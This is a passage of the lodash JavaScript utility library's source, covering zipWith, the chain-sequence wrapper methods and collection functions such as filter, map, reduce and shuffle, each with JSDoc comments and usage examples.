     * _.zipObjectDeep(['a.b[0].c', 'a.b[1].d'], [1, 2]);
     * // => { 'a': { 'b': [{ 'c': 1 }, { 'd': 2 }] } }
     */
    function zipObjectDeep(props, values) {
      return baseZipObject(props || [], values || [], baseSet);
    }

    /**
     * This method is like `_.zip` except that it accepts `iteratee` to specify
     * how grouped values should be combined. The iteratee is invoked with the
     * elements of each group: (...group).
     *
     * @static
     * @memberOf _
     * @since 3.8.0
     * @category Array
     * @param {...Array} [arrays] The arrays to process.
     * @param {Function} [iteratee=_.identity] The function to combine
     *  grouped values.
     * @returns {Array} Returns the new array of grouped elements.
     * @example
     *
     * _.zipWith([1, 2], [10, 20], [100, 200], function(a, b, c) {
     *   return a + b + c;
     * });
     * // => [111, 222]
     */
    var zipWith = baseRest(function(arrays) {
      var length = arrays.length,
          iteratee = length > 1 ? arrays[length - 1] : undefined;

      iteratee = typeof iteratee == 'function' ? (arrays.pop(), iteratee) : undefined;
      return unzipWith(arrays, iteratee);
    });

    /*------------------------------------------------------------------------*/

    /**
     * Creates a `lodash` wrapper instance that wraps `value` with explicit method
     * chain sequences enabled. The result of such sequences must be unwrapped
     * with `_#value`.
     *
     * @static
     * @memberOf _
     * @since 1.3.0
     * @category Seq
     * @param {*} value The value to wrap.
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'age': 36 },
     *   { 'user': 'fred',    'age': 40 },
     *   { 'user': 'pebbles', 'age': 1 }
     * ];
     *
     * var youngest = _
     *   .chain(users)
     *   .sortBy('age')
     *   .map(function(o) {
     *     return o.user + ' is ' + o.age;
     *   })
     *   .head()
     *   .value();
     * // => 'pebbles is 1'
     */
    function chain(value) {
      var result = lodash(value);
      result.__chain__ = true;
      return result;
    }

    /**
     * This method invokes `interceptor` and returns `value`. The interceptor
     * is invoked with one argument; (value). The purpose of this method is to
     * "tap into" a method chain sequence in order to modify intermediate results.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Seq
     * @param {*} value The value to provide to `interceptor`.
     * @param {Function} interceptor The function to invoke.
     * @returns {*} Returns `value`.
     * @example
     *
     * _([1, 2, 3])
     *  .tap(function(array) {
     *    // Mutate input array.
     *    array.pop();
     *  })
     *  .reverse()
     *  .value();
     * // => [2, 1]
     */
    function tap(value, interceptor) {
      interceptor(value);
      return value;
    }

    /**
     * This method is like `_.tap` except that it returns the result of `interceptor`.
     * The purpose of this method is to "pass thru" values replacing intermediate
     * results in a method chain sequence.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Seq
     * @param {*} value The value to provide to `interceptor`.
     * @param {Function} interceptor The function to invoke.
     * @returns {*} Returns the result of `interceptor`.
     * @example
     *
     * _('  abc  ')
     *  .chain()
     *  .trim()
     *  .thru(function(value) {
     *    return [value];
     *  })
     *  .value();
     * // => ['abc']
     */
    function thru(value, interceptor) {
      return interceptor(value);
    }

    /**
     * This method is the wrapper version of `_.at`.
     *
     * @name at
     * @memberOf _
     * @since 1.0.0
     * @category Seq
     * @param {...(string|string[])} [paths] The property paths to pick.
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': 3 } }, 4] };
     *
     * _(object).at(['a[0].b.c', 'a[1]']).value();
     * // => [3, 4]
     */
    var wrapperAt = flatRest(function(paths) {
      var length = paths.length,
          start = length ? paths[0] : 0,
          value = this.__wrapped__,
          interceptor = function(object) { return baseAt(object, paths); };

      if (length > 1 || this.__actions__.length ||
          !(value instanceof LazyWrapper) || !isIndex(start)) {
        return this.thru(interceptor);
      }
      value = value.slice(start, +start + (length ? 1 : 0));
      value.__actions__.push({
        'func': thru,
        'args': [interceptor],
        'thisArg': undefined
      });
      return new LodashWrapper(value, this.__chain__).thru(function(array) {
        if (length && !array.length) {
          array.push(undefined);
        }
        return array;
      });
    });

    /**
     * Creates a `lodash` wrapper instance with explicit method chain sequences enabled.
     *
     * @name chain
     * @memberOf _
     * @since 0.1.0
     * @category Seq
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * var users = [
     *   { 'user': 'barney', 'age': 36 },
     *   { 'user': 'fred',   'age': 40 }
     * ];
     *
     * // A sequence without explicit chaining.
     * _(users).head();
     * // => { 'user': 'barney', 'age': 36 }
     *
     * // A sequence with explicit chaining.
     * _(users)
     *   .chain()
     *   .head()
     *   .pick('user')
     *   .value();
     * // => { 'user': 'barney' }
     */
    function wrapperChain() {
      return chain(this);
    }

    /**
     * Executes the chain sequence and returns the wrapped result.
     *
     * @name commit
     * @memberOf _
     * @since 3.2.0
     * @category Seq
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * var array = [1, 2];
     * var wrapped = _(array).push(3);
     *
     * console.log(array);
     * // => [1, 2]
     *
     * wrapped = wrapped.commit();
     * console.log(array);
     * // => [1, 2, 3]
     *
     * wrapped.last();
     * // => 3
     *
     * console.log(array);
     * // => [1, 2, 3]
     */
    function wrapperCommit() {
      return new LodashWrapper(this.value(), this.__chain__);
    }

    /**
     * Gets the next value on a wrapped object following the
     * [iterator protocol](https://mdn.io/iteration_protocols#iterator).
     *
     * @name next
     * @memberOf _
     * @since 4.0.0
     * @category Seq
     * @returns {Object} Returns the next iterator value.
     * @example
     *
     * var wrapped = _([1, 2]);
     *
     * wrapped.next();
     * // => { 'done': false, 'value': 1 }
     *
     * wrapped.next();
     * // => { 'done': false, 'value': 2 }
     *
     * wrapped.next();
     * // => { 'done': true, 'value': undefined }
     */
    function wrapperNext() {
      if (this.__values__ === undefined) {
        this.__values__ = toArray(this.value());
      }
      var done = this.__index__ >= this.__values__.length,
          value = done ? undefined : this.__values__[this.__index__++];

      return { 'done': done, 'value': value };
    }

    /**
     * Enables the wrapper to be iterable.
     *
     * @name Symbol.iterator
     * @memberOf _
     * @since 4.0.0
     * @category Seq
     * @returns {Object} Returns the wrapper object.
     * @example
     *
     * var wrapped = _([1, 2]);
     *
     * wrapped[Symbol.iterator]() === wrapped;
     * // => true
     *
     * Array.from(wrapped);
     * // => [1, 2]
     */
    function wrapperToIterator() {
      return this;
    }

    /**
     * Creates a clone of the chain sequence planting `value` as the wrapped value.
     *
     * @name plant
     * @memberOf _
     * @since 3.2.0
     * @category Seq
     * @param {*} value The value to plant.
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * function square(n) {
     *   return n * n;
     * }
     *
     * var wrapped = _([1, 2]).map(square);
     * var other = wrapped.plant([3, 4]);
     *
     * other.value();
     * // => [9, 16]
     *
     * wrapped.value();
     * // => [1, 4]
     */
    function wrapperPlant(value) {
      var result,
          parent = this;

      while (parent instanceof baseLodash) {
        var clone = wrapperClone(parent);
        clone.__index__ = 0;
        clone.__values__ = undefined;
        if (result) {
          previous.__wrapped__ = clone;
        } else {
          result = clone;
        }
        var previous = clone;
        parent = parent.__wrapped__;
      }
      previous.__wrapped__ = value;
      return result;
    }

    /**
     * This method is the wrapper version of `_.reverse`.
     *
     * **Note:** This method mutates the wrapped array.
     *
     * @name reverse
     * @memberOf _
     * @since 0.1.0
     * @category Seq
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * var array = [1, 2, 3];
     *
     * _(array).reverse().value()
     * // => [3, 2, 1]
     *
     * console.log(array);
     * // => [3, 2, 1]
     */
    function wrapperReverse() {
      var value = this.__wrapped__;
      if (value instanceof LazyWrapper) {
        var wrapped = value;
        if (this.__actions__.length) {
          wrapped = new LazyWrapper(this);
        }
        wrapped = wrapped.reverse();
        wrapped.__actions__.push({
          'func': thru,
          'args': [reverse],
          'thisArg': undefined
        });
        return new LodashWrapper(wrapped, this.__chain__);
      }
      return this.thru(reverse);
    }

    /**
     * Executes the chain sequence to resolve the unwrapped value.
     *
     * @name value
     * @memberOf _
     * @since 0.1.0
     * @alias toJSON, valueOf
     * @category Seq
     * @returns {*} Returns the resolved unwrapped value.
     * @example
     *
     * _([1, 2, 3]).value();
     * // => [1, 2, 3]
     */
    function wrapperValue() {
      return baseWrapperValue(this.__wrapped__, this.__actions__);
    }

    /*------------------------------------------------------------------------*/

    /**
     * Creates an object composed of keys generated from the results of running
     * each element of `collection` thru `iteratee`. The corresponding value of
     * each key is the number of times the key was returned by `iteratee`. The
     * iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 0.5.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The iteratee to transform keys.
     * @returns {Object} Returns the composed aggregate object.
     * @example
     *
     * _.countBy([6.1, 4.2, 6.3], Math.floor);
     * // => { '4': 1, '6': 2 }
     *
     * // The `_.property` iteratee shorthand.
     * _.countBy(['one', 'two', 'three'], 'length');
     * // => { '3': 2, '5': 1 }
     */
    var countBy = createAggregator(function(result, value, key) {
      if (hasOwnProperty.call(result, key)) {
        ++result[key];
      } else {
        baseAssignValue(result, key, 1);
      }
    });

    /**
     * Checks if `predicate` returns truthy for **all** elements of `collection`.
     * Iteration is stopped once `predicate` returns falsey. The predicate is
     * invoked with three arguments: (value, index|key, collection).
     *
     * **Note:** This method returns `true` for
     * [empty collections](https://en.wikipedia.org/wiki/Empty_set) because
     * [everything is true](https://en.wikipedia.org/wiki/Vacuous_truth) of
     * elements of empty collections.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {boolean} Returns `true` if all elements pass the predicate check,
     *  else `false`.
     * @example
     *
     * _.every([true, 1, null, 'yes'], Boolean);
     * // => false
     *
     * var users = [
     *   { 'user': 'barney', 'age': 36, 'active': false },
     *   { 'user': 'fred',   'age': 40, 'active': false }
     * ];
     *
     * // The `_.matches` iteratee shorthand.
     * _.every(users, { 'user': 'barney', 'active': false });
     * // => false
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.every(users, ['active', false]);
     * // => true
     *
     * // The `_.property` iteratee shorthand.
     * _.every(users, 'active');
     * // => false
     */
    function every(collection, predicate, guard) {
      var func = isArray(collection) ? arrayEvery : baseEvery;
      if (guard && isIterateeCall(collection, predicate, guard)) {
        predicate = undefined;
      }
      return func(collection, getIteratee(predicate, 3));
    }

    /**
     * Iterates over elements of `collection`, returning an array of all elements
     * `predicate` returns truthy for. The predicate is invoked with three
     * arguments: (value, index|key, collection).
     *
     * **Note:** Unlike `_.remove`, this method returns a new array.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the new filtered array.
     * @see _.reject
     * @example
     *
     * var users = [
     *   { 'user': 'barney', 'age': 36, 'active': true },
     *   { 'user': 'fred',   'age': 40, 'active': false }
     * ];
     *
     * _.filter(users, function(o) { return !o.active; });
     * // => objects for ['fred']
     *
     * // The `_.matches` iteratee shorthand.
     * _.filter(users, { 'age': 36, 'active': true });
     * // => objects for ['barney']
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.filter(users, ['active', false]);
     * // => objects for ['fred']
     *
     * // The `_.property` iteratee shorthand.
     * _.filter(users, 'active');
     * // => objects for ['barney']
     *
     * // Combining several predicates using `_.overEvery` or `_.overSome`.
     * _.filter(users, _.overSome([{ 'age': 36 }, ['age', 40]]));
     * // => objects for ['fred', 'barney']
     */
    function filter(collection, predicate) {
      var func = isArray(collection) ? arrayFilter : baseFilter;
      return func(collection, getIteratee(predicate, 3));
    }

    /**
     * Iterates over elements of `collection`, returning the first element
     * `predicate` returns truthy for. The predicate is invoked with three
     * arguments: (value, index|key, collection).
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to inspect.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @param {number} [fromIndex=0] The index to search from.
     * @returns {*} Returns the matched element, else `undefined`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'age': 36, 'active': true },
     *   { 'user': 'fred',    'age': 40, 'active': false },
     *   { 'user': 'pebbles', 'age': 1,  'active': true }
     * ];
     *
     * _.find(users, function(o) { return o.age < 40; });
     * // => object for 'barney'
     *
     * // The `_.matches` iteratee shorthand.
     * _.find(users, { 'age': 1, 'active': true });
     * // => object for 'pebbles'
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.find(users, ['active', false]);
     * // => object for 'fred'
     *
     * // The `_.property` iteratee shorthand.
     * _.find(users, 'active');
     * // => object for 'barney'
     */
    var find = createFind(findIndex);

    /**
     * This method is like `_.find` except that it iterates over elements of
     * `collection` from right to left.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to inspect.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @param {number} [fromIndex=collection.length-1] The index to search from.
     * @returns {*} Returns the matched element, else `undefined`.
     * @example
     *
     * _.findLast([1, 2, 3, 4], function(n) {
     *   return n % 2 == 1;
     * });
     * // => 3
     */
    var findLast = createFind(findLastIndex);

    /**
     * Creates a flattened array of values by running each element in `collection`
     * thru `iteratee` and flattening the mapped results. The iteratee is invoked
     * with three arguments: (value, index|key, collection).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the new flattened array.
     * @example
     *
     * function duplicate(n) {
     *   return [n, n];
     * }
     *
     * _.flatMap([1, 2], duplicate);
     * // => [1, 1, 2, 2]
     */
    function flatMap(collection, iteratee) {
      return baseFlatten(map(collection, iteratee), 1);
    }

    /**
     * This method is like `_.flatMap` except that it recursively flattens the
     * mapped results.
     *
     * @static
     * @memberOf _
     * @since 4.7.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the new flattened array.
     * @example
     *
     * function duplicate(n) {
     *   return [[[n, n]]];
     * }
     *
     * _.flatMapDeep([1, 2], duplicate);
     * // => [1, 1, 2, 2]
     */
    function flatMapDeep(collection, iteratee) {
      return baseFlatten(map(collection, iteratee), INFINITY);
    }

    /**
     * This method is like `_.flatMap` except that it recursively flattens the
     * mapped results up to `depth` times.
     *
     * @static
     * @memberOf _
     * @since 4.7.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @param {number} [depth=1] The maximum recursion depth.
     * @returns {Array} Returns the new flattened array.
     * @example
     *
     * function duplicate(n) {
     *   return [[[n, n]]];
     * }
     *
     * _.flatMapDepth([1, 2], duplicate, 2);
     * // => [[1, 1], [2, 2]]
     */
    function flatMapDepth(collection, iteratee, depth) {
      depth = depth === undefined ? 1 : toInteger(depth);
      return baseFlatten(map(collection, iteratee), depth);
    }

    /**
     * Iterates over elements of `collection` and invokes `iteratee` for each element.
     * The iteratee is invoked with three arguments: (value, index|key, collection).
     * Iteratee functions may exit iteration early by explicitly returning `false`.
     *
     * **Note:** As with other "Collections" methods, objects with a "length"
     * property are iterated like arrays. To avoid this behavior use `_.forIn`
     * or `_.forOwn` for object iteration.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @alias each
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Array|Object} Returns `collection`.
     * @see _.forEachRight
     * @example
     *
     * _.forEach([1, 2], function(value) {
     *   console.log(value);
     * });
     * // => Logs `1` then `2`.
     *
     * _.forEach({ 'a': 1, 'b': 2 }, function(value, key) {
     *   console.log(key);
     * });
     * // => Logs 'a' then 'b' (iteration order is not guaranteed).
     */
    function forEach(collection, iteratee) {
      var func = isArray(collection) ? arrayEach : baseEach;
      return func(collection, getIteratee(iteratee, 3));
    }

    /**
     * This method is like `_.forEach` except that it iterates over elements of
     * `collection` from right to left.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @alias eachRight
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Array|Object} Returns `collection`.
     * @see _.forEach
     * @example
     *
     * _.forEachRight([1, 2], function(value) {
     *   console.log(value);
     * });
     * // => Logs `2` then `1`.
     */
    function forEachRight(collection, iteratee) {
      var func = isArray(collection) ? arrayEachRight : baseEachRight;
      return func(collection, getIteratee(iteratee, 3));
    }

    /**
     * Creates an object composed of keys generated from the results of running
     * each element of `collection` thru `iteratee`. The order of grouped values
     * is determined by the order they occur in `collection`. The corresponding
     * value of each key is an array of elements responsible for generating the
     * key. The iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The iteratee to transform keys.
     * @returns {Object} Returns the composed aggregate object.
     * @example
     *
     * _.groupBy([6.1, 4.2, 6.3], Math.floor);
     * // => { '4': [4.2], '6': [6.1, 6.3] }
     *
     * // The `_.property` iteratee shorthand.
     * _.groupBy(['one', 'two', 'three'], 'length');
     * // => { '3': ['one', 'two'], '5': ['three'] }
     */
    var groupBy = createAggregator(function(result, value, key) {
      if (hasOwnProperty.call(result, key)) {
        result[key].push(value);
      } else {
        baseAssignValue(result, key, [value]);
      }
    });

    /**
     * Checks if `value` is in `collection`. If `collection` is a string, it's
     * checked for a substring of `value`, otherwise
     * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * is used for equality comparisons. If `fromIndex` is negative, it's used as
     * the offset from the end of `collection`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object|string} collection The collection to inspect.
     * @param {*} value The value to search for.
     * @param {number} [fromIndex=0] The index to search from.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.reduce`.
     * @returns {boolean} Returns `true` if `value` is found, else `false`.
     * @example
     *
     * _.includes([1, 2, 3], 1);
     * // => true
     *
     * _.includes([1, 2, 3], 1, 2);
     * // => false
     *
     * _.includes({ 'a': 1, 'b': 2 }, 1);
     * // => true
     *
     * _.includes('abcd', 'bc');
     * // => true
     */
    function includes(collection, value, fromIndex, guard) {
      collection = isArrayLike(collection) ? collection : values(collection);
      fromIndex = (fromIndex && !guard) ? toInteger(fromIndex) : 0;

      var length = collection.length;
      if (fromIndex < 0) {
        fromIndex = nativeMax(length + fromIndex, 0);
      }
      return isString(collection)
        ? (fromIndex <= length && collection.indexOf(value, fromIndex) > -1)
        : (!!length && baseIndexOf(collection, value, fromIndex) > -1);
    }

    /**
     * Invokes the method at `path` of each element in `collection`, returning
     * an array of the results of each invoked method. Any additional arguments
     * are provided to each invoked method. If `path` is a function, it's invoked
     * for, and `this` bound to, each element in `collection`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Array|Function|string} path The path of the method to invoke or
     *  the function invoked per iteration.
     * @param {...*} [args] The arguments to invoke each method with.
     * @returns {Array} Returns the array of results.
     * @example
     *
     * _.invokeMap([[5, 1, 7], [3, 2, 1]], 'sort');
     * // => [[1, 5, 7], [1, 2, 3]]
     *
     * _.invokeMap([123, 456], String.prototype.split, '');
     * // => [['1', '2', '3'], ['4', '5', '6']]
     */
    var invokeMap = baseRest(function(collection, path, args) {
      var index = -1,
          isFunc = typeof path == 'function',
          result = isArrayLike(collection) ? Array(collection.length) : [];

      baseEach(collection, function(value) {
        result[++index] = isFunc ? apply(path, value, args) : baseInvoke(value, path, args);
      });
      return result;
    });

    /**
     * Creates an object composed of keys generated from the results of running
     * each element of `collection` thru `iteratee`. The corresponding value of
     * each key is the last element responsible for generating the key. The
     * iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The iteratee to transform keys.
     * @returns {Object} Returns the composed aggregate object.
     * @example
     *
     * var array = [
     *   { 'dir': 'left', 'code': 97 },
     *   { 'dir': 'right', 'code': 100 }
     * ];
     *
     * _.keyBy(array, function(o) {
     *   return String.fromCharCode(o.code);
     * });
     * // => { 'a': { 'dir': 'left', 'code': 97 }, 'd': { 'dir': 'right', 'code': 100 } }
     *
     * _.keyBy(array, 'dir');
     * // => { 'left': { 'dir': 'left', 'code': 97 }, 'right': { 'dir': 'right', 'code': 100 } }
     */
    var keyBy = createAggregator(function(result, value, key) {
      baseAssignValue(result, key, value);
    });

    /**
     * Creates an array of values by running each element in `collection` thru
     * `iteratee`. The iteratee is invoked with three arguments:
     * (value, index|key, collection).
     *
     * Many lodash methods are guarded to work as iteratees for methods like
     * `_.every`, `_.filter`, `_.map`, `_.mapValues`, `_.reject`, and `_.some`.
     *
     * The guarded methods are:
     * `ary`, `chunk`, `curry`, `curryRight`, `drop`, `dropRight`, `every`,
     * `fill`, `invert`, `parseInt`, `random`, `range`, `rangeRight`, `repeat`,
     * `sampleSize`, `slice`, `some`, `sortBy`, `split`, `take`, `takeRight`,
     * `template`, `trim`, `trimEnd`, `trimStart`, and `words`
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the new mapped array.
     * @example
     *
     * function square(n) {
     *   return n * n;
     * }
     *
     * _.map([4, 8], square);
     * // => [16, 64]
     *
     * _.map({ 'a': 4, 'b': 8 }, square);
     * // => [16, 64] (iteration order is not guaranteed)
     *
     * var users = [
     *   { 'user': 'barney' },
     *   { 'user': 'fred' }
     * ];
     *
     * // The `_.property` iteratee shorthand.
     * _.map(users, 'user');
     * // => ['barney', 'fred']
     */
    function map(collection, iteratee) {
      var func = isArray(collection) ? arrayMap : baseMap;
      return func(collection, getIteratee(iteratee, 3));
    }

    /**
     * This method is like `_.sortBy` except that it allows specifying the sort
     * orders of the iteratees to sort by. If `orders` is unspecified, all values
     * are sorted in ascending order. Otherwise, specify an order of "desc" for
     * descending or "asc" for ascending sort order of corresponding values.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Array[]|Function[]|Object[]|string[]} [iteratees=[_.identity]]
     *  The iteratees to sort by.
     * @param {string[]} [orders] The sort orders of `iteratees`.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.reduce`.
     * @returns {Array} Returns the new sorted array.
     * @example
     *
     * var users = [
     *   { 'user': 'fred',   'age': 48 },
     *   { 'user': 'barney', 'age': 34 },
     *   { 'user': 'fred',   'age': 40 },
     *   { 'user': 'barney', 'age': 36 }
     * ];
     *
     * // Sort by `user` in ascending order and by `age` in descending order.
     * _.orderBy(users, ['user', 'age'], ['asc', 'desc']);
     * // => objects for [['barney', 36], ['barney', 34], ['fred', 48], ['fred', 40]]
     */
    function orderBy(collection, iteratees, orders, guard) {
      if (collection == null) {
        return [];
      }
      if (!isArray(iteratees)) {
        iteratees = iteratees == null ? [] : [iteratees];
      }
      orders = guard ? undefined : orders;
      if (!isArray(orders)) {
        orders = orders == null ? [] : [orders];
      }
      return baseOrderBy(collection, iteratees, orders);
    }

    /**
     * Creates an array of elements split into two groups, the first of which
     * contains elements `predicate` returns truthy for, the second of which
     * contains elements `predicate` returns falsey for. The predicate is
     * invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the array of grouped elements.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'age': 36, 'active': false },
     *   { 'user': 'fred',    'age': 40, 'active': true },
     *   { 'user': 'pebbles', 'age': 1,  'active': false }
     * ];
     *
     * _.partition(users, function(o) { return o.active; });
     * // => objects for [['fred'], ['barney', 'pebbles']]
     *
     * // The `_.matches` iteratee shorthand.
     * _.partition(users, { 'age': 1, 'active': false });
     * // => objects for [['pebbles'], ['barney', 'fred']]
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.partition(users, ['active', false]);
     * // => objects for [['barney', 'pebbles'], ['fred']]
     *
     * // The `_.property` iteratee shorthand.
     * _.partition(users, 'active');
     * // => objects for [['fred'], ['barney', 'pebbles']]
     */
    var partition = createAggregator(function(result, value, key) {
      result[key ? 0 : 1].push(value);
    }, function() { return [[], []]; });

    /**
     * Reduces `collection` to a value which is the accumulated result of running
     * each element in `collection` thru `iteratee`, where each successive
     * invocation is supplied the return value of the previous. If `accumulator`
     * is not given, the first element of `collection` is used as the initial
     * value. The iteratee is invoked with four arguments:
     * (accumulator, value, index|key, collection).
     *
     * Many lodash methods are guarded to work as iteratees for methods like
     * `_.reduce`, `_.reduceRight`, and `_.transform`.
     *
     * The guarded methods are:
     * `assign`, `defaults`, `defaultsDeep`, `includes`, `merge`, `orderBy`,
     * and `sortBy`
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @param {*} [accumulator] The initial value.
     * @returns {*} Returns the accumulated value.
     * @see _.reduceRight
     * @example
     *
     * _.reduce([1, 2], function(sum, n) {
     *   return sum + n;
     * }, 0);
     * // => 3
     *
     * _.reduce({ 'a': 1, 'b': 2, 'c': 1 }, function(result, value, key) {
     *   (result[value] || (result[value] = [])).push(key);
     *   return result;
     * }, {});
     * // => { '1': ['a', 'c'], '2': ['b'] } (iteration order is not guaranteed)
     */
    function reduce(collection, iteratee, accumulator) {
      var func = isArray(collection) ? arrayReduce : baseReduce,
          initAccum = arguments.length < 3;

      return func(collection, getIteratee(iteratee, 4), accumulator, initAccum, baseEach);
    }

    /**
     * This method is like `_.reduce` except that it iterates over elements of
     * `collection` from right to left.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @param {*} [accumulator] The initial value.
     * @returns {*} Returns the accumulated value.
     * @see _.reduce
     * @example
     *
     * var array = [[0, 1], [2, 3], [4, 5]];
     *
     * _.reduceRight(array, function(flattened, other) {
     *   return flattened.concat(other);
     * }, []);
     * // => [4, 5, 2, 3, 0, 1]
     */
    function reduceRight(collection, iteratee, accumulator) {
      var func = isArray(collection) ? arrayReduceRight : baseReduce,
          initAccum = arguments.length < 3;

      return func(collection, getIteratee(iteratee, 4), accumulator, initAccum, baseEachRight);
    }

    /**
     * The opposite of `_.filter`; this method returns the elements of `collection`
     * that `predicate` does **not** return truthy for.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the new filtered array.
     * @see _.filter
     * @example
     *
     * var users = [
     *   { 'user': 'barney', 'age': 36, 'active': false },
     *   { 'user': 'fred',   'age': 40, 'active': true }
     * ];
     *
     * _.reject(users, function(o) { return !o.active; });
     * // => objects for ['fred']
     *
     * // The `_.matches` iteratee shorthand.
     * _.reject(users, { 'age': 40, 'active': true });
     * // => objects for ['barney']
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.reject(users, ['active', false]);
     * // => objects for ['fred']
     *
     * // The `_.property` iteratee shorthand.
     * _.reject(users, 'active');
     * // => objects for ['barney']
     */
    function reject(collection, predicate) {
      var func = isArray(collection) ? arrayFilter : baseFilter;
      return func(collection, negate(getIteratee(predicate, 3)));
    }

    /**
     * Gets a random element from `collection`.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to sample.
     * @returns {*} Returns the random element.
     * @example
     *
     * _.sample([1, 2, 3, 4]);
     * // => 2
     */
    function sample(collection) {
      var func = isArray(collection) ? arraySample : baseSample;
      return func(collection);
    }

    /**
     * Gets `n` random elements at unique keys from `collection` up to the
     * size of `collection`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to sample.
     * @param {number} [n=1] The number of elements to sample.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the random elements.
     * @example
     *
     * _.sampleSize([1, 2, 3], 2);
     * // => [3, 1]
     *
     * _.sampleSize([1, 2, 3], 4);
     * // => [2, 3, 1]
     */
    function sampleSize(collection, n, guard) {
      if ((guard ? isIterateeCall(collection, n, guard) : n === undefined)) {
        n = 1;
      } else {
        n = toInteger(n);
      }
      var func = isArray(collection) ? arraySampleSize : baseSampleSize;
      return func(collection, n);
    }

    /**
     * Creates an array of shuffled values, using a version of the
     * [Fisher-Yates shuffle](https://en.wikipedia.org/wiki/Fisher-Yates_shuffle).
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to shuffle.
     * @returns {Array} Returns the new shuffled array.
     * @example
     *
     * _.shuffle([1, 2, 3, 4]);
     * // => [4, 1, 3, 2]
     */
    function shuffle(collection) {
      var func = isArray(collection) ? arrayShuffle : baseShuffle;
      return func(collection);
    }

    /**
     * Gets the size of `collection` by returning its length for array-like
     * values or the number of own enumerable string keyed properties for objects.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object|string} collection The collection to inspect.
     * @returns {number} Returns the collection size.
     * @example
     *
     * _.size([1, 2, 3]);
     * // => 3
     *
     * _.size({ 'a': 1, 'b': 2 });
     * // => 2
     *
